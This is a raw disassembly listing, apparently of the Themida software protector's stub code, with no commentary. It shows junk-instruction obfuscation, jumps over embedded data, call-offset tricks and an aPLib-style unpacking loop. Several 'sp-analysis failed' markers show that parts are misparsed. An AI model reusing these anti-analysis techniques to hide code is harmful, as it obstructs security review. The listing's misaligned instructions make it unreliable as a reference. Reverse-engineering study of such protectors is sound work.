loc_54D8A5: ; CODE XREF: sub_54D401+48Dj ; sub_54D401+4F1j rcl al, 1 jnb loc_54D979 mov [ebp+6A83361h], eax rcl al, 1 jnb loc_54D979 mov [ebp+6A80AADh], esi rcl al, 1 jb loc_54D979 clc jl loc_54D8D6 sub [ebp+6A819A9h], esi loc_54D8D6: ; CODE XREF: sub_54D401+4C9j rcl al, 1 jb loc_54D979 jmp loc_54D8F0 ; --------------------------------------------------------------------------- db 80h dd 7C39E4FDh, 22BA08FDh, 0B33EC3D7h ; --------------------------------------------------------------------------- loc_54D8F0: ; CODE XREF: sub_54D401+4DDj dec cl jns loc_54D8A5 js loc_54D904 or [ebp+6A81B79h], ecx loc_54D904: ; CODE XREF: sub_54D401+4F7j jnz loc_54D912 jnb loc_54D912 pusha popa loc_54D912: ; CODE XREF: sub_54D401:loc_54D904j ; sub_54D401+509j add esp, 20h pusha mov [ebp+6A81785h], ecx jmp loc_54D92B ; --------------------------------------------------------------------------- db 2Bh, 0F9h, 73h dd 1E7FF559h db 0E4h, 20h, 32h ; --------------------------------------------------------------------------- loc_54D92B: ; CODE XREF: sub_54D401+51Bj popa mov [esp-10h+arg_8], 0 mov [ebp+6A81E99h], esi mov eax, 1 pusha sub [ebp+6A8000Dh], esi popa sub [ebp+6A81A01h], ebx lea ecx, [ebp+6A87120h] sub [ebp+6A82529h], edx jmp ecx ; --------------------------------------------------------------------------- jmp loc_54D973 ; --------------------------------------------------------------------------- dd 4E366322h, 0AF0DB892h, 0D4845D4h, 0BD775FBFh db 0E8h, 90h, 23h ; --------------------------------------------------------------------------- loc_54D973: ; CODE XREF: sub_54D401+55Aj mov [ebp+6A829B5h], ecx loc_54D979: ; CODE XREF: sub_54D401+4A6j ; sub_54D401+4B4j ... mov byte ptr [ebp+6A815D5h], 0 jp loc_54D99D jmp loc_54D99D ; --------------------------------------------------------------------------- db 28h dd 0A39FDC26h, 6714547Ah, 9B2B8F3Eh, 0DB726FE3h db 90h ; --------------------------------------------------------------------------- loc_54D99D: ; CODE XREF: sub_54D401+57Fj ; sub_54D401+585j popa mov [ebp+6A807B1h], edi retn 8 ; --------------------------------------------------------------------------- mov [ebp+6A810FDh], edi xchg eax, esi jmp loc_54D9B9 ; --------------------------------------------------------------------------- db 0C1h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 40h, 0D7h, 91h db 0EFh ; --------------------------------------------------------------------------- loc_54D9B9: ; CODE XREF: sub_54D401+5ADj push eax jmp loc_54D9CE ; --------------------------------------------------------------------------- db 95h dd 0D84B634Dh, 64DFD878h, 0C0EFEA21h db 15h, 3Ah ; --------------------------------------------------------------------------- loc_54D9CE: ; CODE XREF: sub_54D401+5B9j xchg eax, esi jmp loc_54D9E2 ; --------------------------------------------------------------------------- dd 2A7C5033h, 77C816B6h, 0FC51EDACh ; --------------------------------------------------------------------------- add al, 1 loc_54D9E2: ; CODE XREF: sub_54D401+5CEj mov [ebp+6A84139h], esi pusha movsx eax, di mov ebx, [ebp+6A8311Dh] popa mov [ebp+6A81589h], edx mov [ebp+6A84150h], ecx cld lea esi, [ebp+6A84024h] mov [ebp+6A80BF9h], ecx lea eax, dword_5B8EA1[ebp] pusha sub [ebp+6A82E61h], esi sub [ebp+6A8261Dh], edi popa call eax cmc pop esi mov [ebp+6A82521h], eax retn ; --------------------------------------------------------------------------- mov [ebp+6A80BD5h], ebx mov esi, [ebp+6A84139h] jbe loc_54DA43 or [ebp+6A824E5h], eax loc_54DA43: ; CODE XREF: sub_54D401+636j jg loc_54DA4F mov [ebp+6A829D9h], edx loc_54DA4F: ; CODE XREF: sub_54D401:loc_54DA43j mov ecx, [ebp+6A84150h] add [ebp+6A82A15h], edi sub [ebp+6A82BD9h], ebx sub eax, eax pusha mov eax, [ebp+6A81631h] mov ebx, [ebp+6A82D81h] popa sub [ebp+6A825A9h], esi mov ebx, ecx pusha mov [ebp+6A80DD9h], edi js loc_54DA8C jnb $+6 loc_54DA8C: ; CODE XREF: sub_54D401+67Fj popa jmp loc_54DB2B ; --------------------------------------------------------------------------- cmc loc_54DA93: ; CODE XREF: sub_54D401+72Cj xor ah, [esi] pusha clc mov ecx, [ebp+6A82761h] popa mov dl, 2 or [ebp+6A832F5h], ebx jmp loc_54DB03 ; --------------------------------------------------------------------------- jg loc_54DAB7 add [ebp+6A82511h], edx loc_54DAB7: ; CODE XREF: sub_54D401+6AAj ; sub_54D401+704j xor al, dl cld add eax, 8A751D7Ah sub [ebp+6A8171Dh], ebx mov cl, ah sub [ebp+6A8093Dh], ebx ror eax, cl jmp loc_54DADC ; --------------------------------------------------------------------------- dd 0E6A64452h, 9342B20Fh ; --------------------------------------------------------------------------- loc_54DADC: ; CODE XREF: sub_54D401+6CEj xor eax, 98D10842h cld pusha and ax, 0D9D3h mov eax, ecx popa dec dl jno loc_54DAF4 cld loc_54DAF4: ; CODE XREF: sub_54D401+6ECj pusha mov eax, [ebp+6A8297Dh] jb loc_54DB02 cmc loc_54DB02: ; CODE XREF: sub_54D401+6FAj popa loc_54DB03: ; CODE XREF: sub_54D401+6A5j or dl, dl jnz loc_54DAB7 jl loc_54DB19 jno loc_54DB19 pusha popa loc_54DB19: ; CODE XREF: sub_54D401+70Aj ; sub_54D401+710j dec ebx pusha mov bl, 0B3h or ebx, 345045FDh popa inc esi sub [ebp+6A81AD9h], edi loc_54DB2B: ; CODE XREF: sub_54D401+68Cj or ebx, ebx jnz loc_54DA93 mov [ebp+6A824E5h], edx mov [ebp+6A81F99h], edx iret ; --------------------------------------------------------------------------- dd 2621BD89h, 6A8h, 5DDBD29h, 0F806A8h, 68A0F00h, 89000000h dd 0A807B9B5h, 0E9000006h, 11h, 110B099Eh, 0F1949409h dd 4F8326Bh, 72300E7Dh, 0E9000026h, 13h, 0B866D76Fh, 0EF84C81h dd 5C2AC205h, 0ADC68931h, 0F85E9BBh, 0E8Eh, 95336000h dd 6A8256Dh, 213DBD8Bh ; --------------------------------------------------------------------------- test al, 6 popa loc_54DBA3: ; CODE XREF: sub_54D401:loc_54D4A6j lea eax, [ebp+6A83AC3h] xor [ebp+6A83319h], edi mov [ebp+6A82D7Dh], eax pusha mov dh, al call sub_54DBC7 mov [ebp+17h], dh sub cl, ss:[eax-55FD0760h] sub_54D401 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_54DBC7 proc near ; CODE XREF: sub_54D401+7B7p mov eax, [ebp+6A80DE9h] pop esi popa lea eax, [ebp+6A83FA0h] jns loc_54DBE1 sub [ebp+6A81B5Dh], eax loc_54DBE1: ; CODE XREF: sub_54DBC7+Ej mov [ebp+6A802DDh], eax call near ptr loc_54DBF0+3 xchg eax, edi push 36h pop es assume es:nothing loc_54DBF0: ; CODE XREF: sub_54DBC7+20p mov byte ptr [ebx+5A5E57C6h], 0Fh sub_54DBC7 endp ; sp-analysis failed mov eax, ds:66000000h and ebx, 0C281C56Ah db 66h add cs:[eax], al call sub_54DC11 test eax, 0C4E6ED2Bh ; =============== S U B R O U T I N E ======================================= sub_54DC11 proc near ; CODE XREF: Themida_:0054DC07p ; FUNCTION CHUNK AT 0054DE26 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0054DFD9 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0054E9B6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005514E7 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00572C5A SIZE 0000000E BYTES push eax mov [ebp+6A81F19h], edx pop ebx pop eax push 1957h jmp loc_54DC2D ; --------------------------------------------------------------------------- dd 41EB00DFh, 0EFDD214h db 0B0h ; --------------------------------------------------------------------------- loc_54DC2D: ; CODE XREF: sub_54DC11+Ej pop edi sub [ebp+6A830E5h], edi loc_54DC34: ; CODE XREF: sub_54DC11:loc_54DCACj push dword ptr [edx] sub ebx, [ebp+6A82FADh] pop ecx jnp loc_54DC53 jmp loc_54DC53 ; --------------------------------------------------------------------------- dd 0B5C0CFBEh, 0E58B66B8h db 83h, 0AFh, 6Ah ; --------------------------------------------------------------------------- loc_54DC53: ; CODE XREF: sub_54DC11+2Cj ; sub_54DC11+32j add ecx, 4A08537Dh sub eax, 16754040h xor ecx, 7A568F1Fh mov ah, 0FBh add ecx, 400EFBCDh push ecx mov [ebp+6A81769h], ecx pop dword ptr [edx] mov [ebp+6A82F25h], eax sub edx, 1 stc dec edx dec edx dec edx xor esi, [ebp+6A82A95h] dec edi jnz loc_54DCA0 add esi, 51820CCEh jmp loc_54DCC2 ; --------------------------------------------------------------------------- db 0D1h dd 25DC147Bh ; --------------------------------------------------------------------------- loc_54DCA0: ; CODE XREF: sub_54DC11+79j jl loc_54DCAC mov [ebp+6A801F1h], edx loc_54DCAC: ; CODE XREF: sub_54DC11:loc_54DCA0j jmp loc_54DC34 ; --------------------------------------------------------------------------- db 4Eh, 88h, 64h dd 0C5580728h, 71B2ACE6h, 0F366F06Fh db 92h, 6Bh ; --------------------------------------------------------------------------- loc_54DCC2: ; CODE XREF: sub_54DC11+85j jmp short loc_54DCD8 ; --------------------------------------------------------------------------- dd 4 dup(0) dd 85h ; --------------------------------------------------------------------------- loc_54DCD8: ; CODE XREF: sub_54DC11:loc_54DCC2j lea eax, [ebp+6A8438Ch] mov [ebp+6A80C71h], eax cmp dword ptr [ebp+6A842C3h], 0 jz loc_54DE26 mov byte ptr [ebp+6A815D5h], 56h call near ptr loc_54DD00+1 cmp [ebp+1Fh], ebp loc_54DD00: ; CODE XREF: sub_54DC11+E7p aam 50h sub_54DC11 endp ; sp-analysis failed mov eax, [esp+4] mov eax, [eax] mov [esp+4], eax pop eax push dword ptr [ebp+6A831F9h] lea eax, [ebp+6A83AC3h] call eax mov [ebp+6A842B7h], eax mov byte ptr [ebp+6A815D5h], 56h call near ptr loc_54DD2E+3 push edx loc_54DD2E: ; CODE XREF: Themida_:0054DD28p mov eax, 8B509CA8h inc esp and al, 4 mov eax, [eax] mov [esp+4], eax pop eax push dword ptr [ebp+6A831F9h] lea eax, [ebp+6A83AC3h] call eax mov [ebp+6A842BBh], eax push 4 push 0BC3933D1h add dword ptr [esp], 43C6DC2Fh mov eax, [ebp+6A842C7h] add eax, 1F4h shl eax, 2 push eax mov [esp], eax push 0 call dword ptr [ebp+6A842BBh] mov [ebp+6A842BFh], eax mov ebx, eax mov eax, 0FFFFFFFFh call dword ptr [ebp+6A80C71h] mov eax, ebx call dword ptr [ebp+6A80C71h] jmp loc_54DE26 ; --------------------------------------------------------------------------- cmp dword ptr [ebp+6A842C3h], 0 jnz loc_54DDA7 retn ; --------------------------------------------------------------------------- loc_54DDA7: ; CODE XREF: Themida_:0054DDA0j push edi mov edi, [ebp+6A842BFh] stosd add dword ptr [ebp+6A842BFh], 4 pop edi retn ; --------------------------------------------------------------------------- cmp dword ptr [ebp+6A842C3h], 0 jnz loc_54DDC6 retn ; --------------------------------------------------------------------------- loc_54DDC6: ; CODE XREF: Themida_:0054DDBFj pusha sub dword ptr [ebp+6A842BFh], 4 loc_54DDCE: ; CODE XREF: Themida_:loc_54DE21j mov ebx, [ebp+6A842BFh] cmp dword ptr [ebx-4], 0FFFFFFFFh jnz loc_54DDFB push 0C783BDA8h add dword ptr [esp], 387CC258h push 0 push dword ptr [ebx] call dword ptr [ebp+6A842B7h] popa retn ; --------------------------------------------------------------------------- jmp loc_54DE21 ; --------------------------------------------------------------------------- loc_54DDFB: ; CODE XREF: Themida_:0054DDD8j call near ptr loc_54DE00+4 loc_54DE00: ; CODE XREF: Themida_:loc_54DDFBp add [eax-74B00000h], al inc esp and al, 4 mov eax, [eax] mov [esp+4], eax pop eax push 0 push dword ptr [ebx] call dword ptr [ebp+6A842B7h] sub dword ptr [ebp+6A842BFh], 4 loc_54DE21: ; CODE XREF: Themida_:0054DDF6j jmp loc_54DDCE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54DC11 loc_54DE26: ; CODE XREF: sub_54DC11+DAj ; Themida_:0054DD94j dec eax jmp loc_54DFD9 ; END OF FUNCTION CHUNK FOR sub_54DC11 ; --------------------------------------------------------------------------- pusha mov esi, [esp+24h] mov edi, [esp+28h] cld mov dl, 80h loc_54DE38: ; CODE XREF: Themida_:loc_54DE50j mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_54DE43: ; CODE XREF: Themida_:0054DECEj ; Themida_:0054DF36j ... add dl, dl jnz loc_54DE50 mov dl, [esi] inc esi adc dl, dl loc_54DE50: ; CODE XREF: Themida_:0054DE45j jnb loc_54DE38 add dl, dl jnz loc_54DE63 mov dl, [esi] inc esi adc dl, dl loc_54DE63: ; CODE XREF: Themida_:0054DE58j jnb loc_54DED3 xor eax, eax add dl, dl jnz loc_54DE78 mov dl, [esi] inc esi adc dl, dl loc_54DE78: ; CODE XREF: Themida_:0054DE6Dj jnb loc_54DFA8 add dl, dl jnz loc_54DE8B mov dl, [esi] inc esi adc dl, dl loc_54DE8B: ; CODE XREF: Themida_:0054DE80j adc eax, eax add dl, dl jnz loc_54DE9A mov dl, [esi] inc esi adc dl, dl loc_54DE9A: ; CODE XREF: Themida_:0054DE8Fj adc eax, eax add dl, dl jnz loc_54DEA9 mov dl, [esi] inc esi adc dl, dl loc_54DEA9: ; CODE XREF: Themida_:0054DE9Ej adc eax, eax add dl, dl jnz loc_54DEB8 mov dl, [esi] inc esi adc dl, dl loc_54DEB8: ; CODE XREF: Themida_:0054DEADj adc eax, eax jz loc_54DEC6 push edi sub edi, eax mov al, [edi] pop edi loc_54DEC6: ; CODE XREF: Themida_:0054DEBAj mov [edi], al inc edi mov ebx, 2 jmp loc_54DE43 ; --------------------------------------------------------------------------- loc_54DED3: ; CODE XREF: Themida_:loc_54DE63j mov eax, 1 loc_54DED8: ; CODE XREF: Themida_:loc_54DEF4j add dl, dl jnz loc_54DEE5 mov dl, [esi] inc esi adc dl, dl loc_54DEE5: ; CODE XREF: Themida_:0054DEDAj adc eax, eax add dl, dl jnz loc_54DEF4 mov dl, [esi] inc esi adc dl, dl loc_54DEF4: ; CODE XREF: Themida_:0054DEE9j jb loc_54DED8 sub eax, ebx mov ebx, 1 jnz loc_54DF3B mov ecx, 1 loc_54DF0C: ; CODE XREF: Themida_:loc_54DF28j add dl, dl jnz loc_54DF19 mov dl, [esi] inc esi adc dl, dl loc_54DF19: ; CODE XREF: Themida_:0054DF0Ej adc ecx, ecx add dl, dl jnz loc_54DF28 mov dl, [esi] inc esi adc dl, dl loc_54DF28: ; CODE XREF: Themida_:0054DF1Dj jb loc_54DF0C push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_54DE43 ; --------------------------------------------------------------------------- loc_54DF3B: ; CODE XREF: Themida_:0054DF01j dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_54DF49: ; CODE XREF: Themida_:loc_54DF65j add dl, dl jnz loc_54DF56 mov dl, [esi] inc esi adc dl, dl loc_54DF56: ; CODE XREF: Themida_:0054DF4Bj adc ecx, ecx add dl, dl jnz loc_54DF65 mov dl, [esi] inc esi adc dl, dl loc_54DF65: ; CODE XREF: Themida_:0054DF5Aj jb loc_54DF49 cmp eax, 7D00h jnb loc_54DF98 cmp eax, 500h jb loc_54DF8F inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_54DE43 ; --------------------------------------------------------------------------- loc_54DF8F: ; CODE XREF: Themida_:0054DF7Bj cmp eax, 7Fh ja loc_54DF9B loc_54DF98: ; CODE XREF: Themida_:0054DF70j add ecx, 2 loc_54DF9B: ; CODE XREF: Themida_:0054DF92j push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_54DE43 ; --------------------------------------------------------------------------- loc_54DFA8: ; CODE XREF: Themida_:loc_54DE78j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz loc_54DFCD adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_54DE43 ; --------------------------------------------------------------------------- loc_54DFCD: ; CODE XREF: Themida_:0054DFB0j sub edi, [esp+28h] mov [esp+1Ch], edi popa retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54DC11 loc_54DFD9: ; CODE XREF: sub_54DC11+216j mov edx, 929h jmp loc_54E9B6 ; END OF FUNCTION CHUNK FOR sub_54DC11 ; --------------------------------------------------------------------------- db 7Fh dd 31CD73E7h, 422DE048h, 6A247B77h, 22A07360h, 0D486B5C5h dd 412BD21Ch, 0B7F72B73h, 22F15E0Fh, 3AC073C1h, 5025EC0Ah dd 7B772960h, 2DE57472h, 0A4E5DA8Eh, 5C3FD816h, 0B7A52772h dd 2DF75C0Fh, 20C073C2h, 4A38F30Ah, 6769297Fh, 39F26F6Ch dd 9086B180h, 5C3BCF5Ah, 0B6F76A63h, 39F74941h, 26D973D4h dd 4438F245h, 277Fh, 62h dup(0) dd 7F000000h, 3BC473E7h, 4A3EFC44h, 70742960h, 21F2676Eh dd 9580F0CDh, 4A3C9D09h, 0A4A56572h, 28F6450Eh, 3ADC2186h dd 4224FC44h, 226A6032h, 32F56F78h, 8791A380h, 133D80Eh dd 0AED5061Dh, 29EB5104h, 3ADC738Ah, 412BFA46h, 22706032h dd 2DEF7267h, 998DBD80h, 0F27CF15h, 0E2E16576h, 38EB5513h dd 74DD21C7h, 573FFA53h, 6D767932h, 2DE17266h, 8Eh, 47h dup(0) dd 7F000000h, 26CA73E7h, 4021F64Bh, 22772E60h, 2CEF6F75h dd 8789B880h, 4A3BDF5Ah, 0ADE32B79h, 6CFC5E14h, 3AC726D4h dd 52DFB43h, 7B24677Bh, 60F2756Eh, 809BA9D3h, 2570D01Fh dd 0A7E95B1Ah, 60FD4300h, 38C72686h, 52EF445h, 64247D7Bh dd 60ED6F73h, 9B85B5CDh, 4E7EC408h, 0B0A56F79h, 2DEC4304h dd 2D8927D4h, 538E045h, 656B7B62h, 6EED6173h, 61h dup(0) dd 7F000000h, 31C53AE0h, 5725F60Ah, 76747C60h, 6EA16464h dd 9D808480h, 5D2E9D09h, 0A3F76C78h, 2DF0100Ch, 31CB73D5h dd 486AFB4Fh, 726D6773h, 34E16C74h, 95C8B4C5h, 427ED914h dd 0A7E77276h, 38F13D6Bh, 3D892081h, 462FF344h, 22606C66h dd 21A07963h, 86818680h, 407ECE0Fh, 0B0E62B65h, 29F35300h dd 897DC2h, 539FC42h, 67686074h, 2EEF7721h, 83C8A487h dd 0F35CF15h, 0AFFC6576h, 62FD420Eh, 0E0h dup(0) dd 57000000h, 6D754E4Ch, 734C4C44h, 746F7250h, 3000h, 8 dup(0) dd 69784500h, 74532074h, 73757461h, 25203D20h, 64h, 0 db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54DC11 loc_54E9B6: ; CODE XREF: sub_54DC11+3CDj jmp loc_5514E7 ; END OF FUNCTION CHUNK FOR sub_54DC11 ; --------------------------------------------------------------------------- clc cld clc mov eax, eax stc cmp dword ptr [ebp+6A81ED9h], 0 jnz short loc_54E9D3 cmp dword ptr [ebp+6A82DE9h], 0 jz short loc_54E9E6 loc_54E9D3: ; CODE XREF: Themida_:0054E9C8j push eax push ebx mov eax, eax mov eax, 1 lea ebx, [ebp+6AAA04Eh] call ebx pop ebx pop eax loc_54E9E6: ; CODE XREF: Themida_:0054E9D1j cmp dword ptr [ebp+6A82DE9h], 0 jz short loc_54EA00 push eax push ebx mov eax, 1 lea ebx, [ebp+6AA9EFFh] call ebx pop ebx pop eax loc_54EA00: ; CODE XREF: Themida_:0054E9EDj mov [ebp+6A831B5h], esi xor [ebp+6A810E5h], esi mov eax, eax push 0 push esi call sub_54EA19 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54EA19 proc near ; CODE XREF: Themida_:0054EA11p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_54EA19 endp ; --------------------------------------------------------------------------- db 45h, 0E5h, 9Dh dd 0BEFFFED1h, 8BCD9A26h, 85BD83D1h, 6A82Ch, 1AD840Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 838C6AC3h, 0A82E09BDh, 840F0006h, 183h, 0C307BA66h dd 0C9DE8060h, 2E09858Bh, 6A06A8h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 0D457FBC3h, 0D19529h dd 0E80506A8h, 0E9000003h, 5, 0D677D216h, 0D48A5095h, 66240489h dd 8D609ABAh, 0A84F9085h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0FC872E79h dd 1CC02062h, 9D23D8DFh, 6A819EDh, 13E950h, 787E0000h dd 4C33850Eh, 122ECA72h, 0DE15BC69h, 0A4FE74EFh, 24048929h dd 1009958Bh, 858D06A8h, 6A84F6Eh, 50D9B70Fh, 6E8h, 9D328E00h dd 50FF84C8h, 0F5B5752h, 860F31h, 5A000000h, 4895B58h dd 95FFF824h, 6A82235h, 1AD19589h, 665606A8h, 8E1FD381h dd 0CC4835Bh, 310D9D33h, 953306A8h, 6A80EB5h, 4F6E858Dh dd 958B06A8h, 6A81525h, 24048950h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 4FC35646h, 3A9C828h, 840F7CE2h dd 6, 3015958Bh, 26A06A8h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 0C8C35646h, 8E8ECh, 0A5590000h, 8510C311h dd 0DB81F885h, 2F816A95h, 46C6805Bh, 0ED1495FFh, 0BE8006Ah dd 54000000h, 0D22A40C0h, 6B108923h, 8589B023h, 6A8017Dh dd 0B70F615Bh, 458509D2h, 0C706A822h, 0A84FA185h, 106h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 525096CAh, 6E8h, 9675B100h, 66EAEB13h, 5B2A64BBh dd 0D48A310Fh, 6650585Ah, 96CBB7BBh, 0E858D89h, 0BE806A8h dd 13000000h, 0CEC8C7BBh, 0D5A3B0E3h, 958B6655h, 6A82D6Dh dd 52B5895Ah, 6606A84Fh, 0BD83D08Bh, 6A8339Dh, 4A850F01h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 0AA93C355h, 0AE95C92h, 0E9000000h dd 8F21432Fh, 0AE1E69F4h, 839DB74Dh, 850F05F8h, 11h, 0C328F281h dd 0B864E6h, 89000000h, 0A81B95B5h, 51BD8306h, 6A817h dd 72840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 6AFCFC3h, 8B66602Dh, 5195FFD6h dd 8B06A817h, 0A8329D9Dh, 6A6106h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 18081BC3h, 0E42FF445h dd 15B58B60h, 8B06A821h, 11E961F0h, 16000000h, 7F5E4376h dd 0A423BF01h, 0C2B63E7Ch, 78DD733Dh, 198DBD83h, 0F0006A8h dd 2F84h, 0B8FC00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 83FFC355h, 2D04A8C9h dd 33819533h, 0F78A06A8h, 56006A60h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0F50F3F9Bh dd 0FF3E57D5h, 2651958Bh, 9D8906A8h, 6A831D9h, 0D19858Bh dd 0C08306A8h, 89BFB202h, 0A84F4A85h, 0D59D8906h, 0C606A800h dd 0C6F9FF00h, 0A815D585h, 0B5895306h, 6A81711h, 25AA2768h dd 0D7FBAC5h, 348174CEh, 94E2FF24h, 0D68B6639h, 1C18DA81h dd 0B5FF3C14h, 6A80F95h, 6880Fh, 0BD290000h, 6A80BCDh dd 6971858Dh, 6A06ABh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 19D0ADC3h, 0EF2C1203h, 60383432h dd 1B3D9589h, 858B06A8h, 6A83381h, 60D0FF61h, 14D68166h dd 61D98AB9h, 8990EA80h, 0A81B3185h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 68E7872Fh dd 33D58529h, 0BD8306A8h, 6A80E35h, 0B4850F01h, 0F000000h dd 686h, 49952300h, 0B06A81Ah, 0A805AD9Dh, 0BF0F6106h dd 0D585C6D9h, 4506A815h, 69F3BA66h, 4CC6A668h, 2404819Ah dd 4013721Ch, 6800Fh, 9D890000h, 6A82CD5h, 0BB19D8Bh, 0B5FF06A8h dd 6A80F95h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 91C35747h, 0E4979CF7h, 0DE31CB4Bh, 8D50B7D3h, 0AB697185h dd 0B1853106h, 0FF06A82Fh, 11B9BBD0h, 6A70FDh, 3169958Bh dd 0D0FF06A8h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 9DC35545h, 1113C433h, 0D2D293C1h, 19B589FBh, 8306A831h dd 0A82B25BDh, 850F0106h, 0CEh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 28C35242h, 19858BD0h, 6A06A80Dh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 0AFDBC352h, 74E9h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 8BAD1ADFh dd 0A8007195h, 5E89006h, 0C6000000h, 0E4009226h, 52505250h dd 585A310Fh, 0DE8B310Fh, 505A585Ah, 6690D38Bh, 6A7C54BAh dd 11E914h, 96910000h, 399B4957h, 0DCFD68B9h, 1B7C2F3Ch dd 0FFB136FCh, 0A81B3195h, 8880F06h, 51000000h, 0F9D8D89h dd 585A06A8h, 3880F9h, 0FFA7850Fh, 0C780FFFFh, 100C6ECh dd 32299533h, 6A6106A8h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 14A0C357h, 0F6EC19A3h dd 8948CC1Fh, 0A82E418Dh, 0F5BD8306h, 6A80Ah, 43840Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 6AB466C3h, 8E8FFh, 614F0000h, 0DF3999C4h dd 85017F1Fh, 6A81489h, 3195FF5Ah, 0F906A81Bh, 0FFFFDEE9h dd 0F8BA66FFh, 0F585C7F8h, 106A80Ah, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 0F5C3C350h, 52CEC921h, 605AFB51h, 7E8h, 80F67700h, 0C58D8ABh dd 830Fh, 8B5A0000h, 0A81ABD85h, 85896106h, 6A84F56h, 6810Fh dd 958B0000h, 6A820D9h, 14E9h, 0C9609000h, 0F318F69Fh dd 0F08BB39Ch, 1FAEC082h, 0F660B734h, 8B66506Bh, 240489D8h dd 2F0D9D8Bh, 0B50906A8h, 6A83389h, 35958960h, 6A06A807h dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 3B2ADB5Ch, 5A1B72AFh, 0D38B6688h, 4F6E858Dh dd 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 56CE85C3h, 5D9D8BFFh, 5006A807h, 8D0F5160h dd 0 ; --------------------------------------------------------------------------- pop eax popa mov [esp], eax mov edx, 5175E5E5h lea eax, [ebp+6A84F5Eh] jmp loc_54F185 ; --------------------------------------------------------------------------- db 46h, 2Ch, 43h dd 44D0624Ch, 5074392Ch db 77h ; --------------------------------------------------------------------------- loc_54F185: ; CODE XREF: Themida_:0054F174j nop push edi mov bx, 1BFBh pop edx push eax pusha mov ah, 0AEh popa nop mov ebx, [ebp+6A80515h] call dword ptr [ebp+6A81AC9h] push eax jnb loc_54F1A7 mov ebx, esi loc_54F1A7: ; CODE XREF: Themida_:0054F19Fj pop ebx lea ecx, [ebp+6A87A64h] jmp loc_54F1C0 ; --------------------------------------------------------------------------- db 62h dd 1E76BBB4h, 8406A45Dh, 0F9A08F2Dh ; --------------------------------------------------------------------------- loc_54F1C0: ; CODE XREF: Themida_:0054F1AEj or eax, eax jz short loc_54F1D5 lea eax, [ebp+6A84F6Eh] push eax call ecx mov [ebp+6A84F8Ch], eax jmp short loc_54F1DF ; --------------------------------------------------------------------------- loc_54F1D5: ; CODE XREF: Themida_:0054F1C2j mov dword ptr [ebp+6A84F8Ch], 0FFFFFFFFh loc_54F1DF: ; CODE XREF: Themida_:0054F1D3j push 0 push edx call sub_54F1EA and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54F1EA proc near ; CODE XREF: Themida_:0054F1E2p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_54F1EA endp ; --------------------------------------------------------------------------- dw 55E0h ; --------------------------------------------------------------------------- inc ebx mov dword ptr [eax+794DFB12h], 5CCB810Ch push ss adc eax, [esi+61h] mov edx, [ebp+6A83375h] mov byte ptr [ebp+6A815D5h], 4Dh jnz loc_54F224 mov edx, [ebp+6A80BADh] loc_54F224: ; CODE XREF: Themida_:0054F218j push 0AE07F0B4h jns loc_54F233 mov dx, 4399h loc_54F233: ; CODE XREF: Themida_:0054F229j xor dword ptr [esp], 0A32861Ch xor dx, 0F5E1h push dword ptr [ebp+6A80DB5h] pusha mov [ebp+6A819D1h], eax mov ecx, [ebp+6A81B39h] popa lea eax, [ebp+6AB6971h] xor dx, 0A2B7h call eax mov dx, bx mov [ebp+6A8142Dh], eax push 0 push ecx call sub_54F274 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= 